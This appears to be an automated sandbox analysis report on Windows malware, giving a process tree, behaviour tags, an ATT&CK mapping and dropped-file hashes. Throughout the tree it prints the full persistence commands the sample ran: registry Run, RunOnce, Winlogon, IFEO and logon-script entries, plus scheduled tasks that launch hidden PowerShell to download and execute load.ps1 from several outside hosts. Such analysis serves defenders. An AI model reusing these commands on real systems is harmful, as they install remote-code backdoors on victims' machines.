        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:736
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:1852
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:4700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:5116
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        
        PID:568
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:2640
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        
        PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /sc onlogon /f
      4⤵
      PID:1376
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:60
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      PID:4848
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4744

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')"
1⤵
PID:1628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1196

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2980

C:\Users\Admin\AppData\Roaming\App.exe
"C:\Users\Admin\AppData\Roaming\App.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:896
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:460
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:4224
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1104
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:1608
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:2404
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:4124
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:3448
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4208
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://register.mybet88.gg/load.ps1")"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4220

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')"
1⤵
PID:1228

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:736

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')"
1⤵
PID:692

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4620

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')"
1⤵
PID:2140

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5060

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')"
1⤵
PID:740

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1068

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')"
1⤵
PID:3608

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')"
1⤵
PID:2524

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4308

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')"
1⤵
PID:3676

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1380

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')"
1⤵
PID:2136

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4600

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.EXE.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Size 2KB
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
TLSH
T1C051DA313275A1E4C91A3F47192819C023BF8355FA98AF5CB65C521EE92740B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

iconcache_idx.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
Size 28KB
SHA256 d4a4fe6d4c181cfc2636f9809418dc589ad1fd28343de5d458c4f9f89f0a346d
MD5 8e3ea576b9f9d1cc5431553f5d85adcb
SHA1 d39ee6a059a798f0965143ff1e7ee6f078e0cd9b
SHA512 feadbd6fd1bfca7a49eba302ab4c2ce29ff80686f903505c566ce5350154fc8272cb6f9be392de3c2ae206d83e437607c4213b41d5e2f99b8810790890f2b1fb
SSDEEP 96:3Mjjp30YzeJB8uceO/npJu6GgIjzd/flvaUXTWA1QJVs4hqWV:3Mprej89eOjuJftflvDXz1QJVseqWV
TLSH
T115D2FA66F409E605DE4A2C329FDAE6ED72317E29DC5A070374C4B73F49BB8C44D58588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 54KB
SHA256 c476c5d55bfcfdb64a09d70114909f4a0b3518aeba490f48b05698b746e5be17
MD5 b6bb5ec06d228010a6613bf84db39ec1
SHA1 f748ae6b14c2c37167afdb1605dda839bd1c8d74
SHA512 ea076be1a4131f1bbae55034b7bb33573c23976c45fa61a4c1b6e0edef59835eff859cab1dcb388242bb999cf5d89622cc181395ef76f5673d7ad97bc3ccef65
SSDEEP 1536:vUsgNhfkR+jH0Mv15iFHzdyyhl3Oi9flJdiNuhETYoeUpBa5EVi3j39MVvjp1KLi:vUsgNhfkR+jH0Mv1gFHzdfhEi9flJdiP
TLSH
T1FD433F93E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FBBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download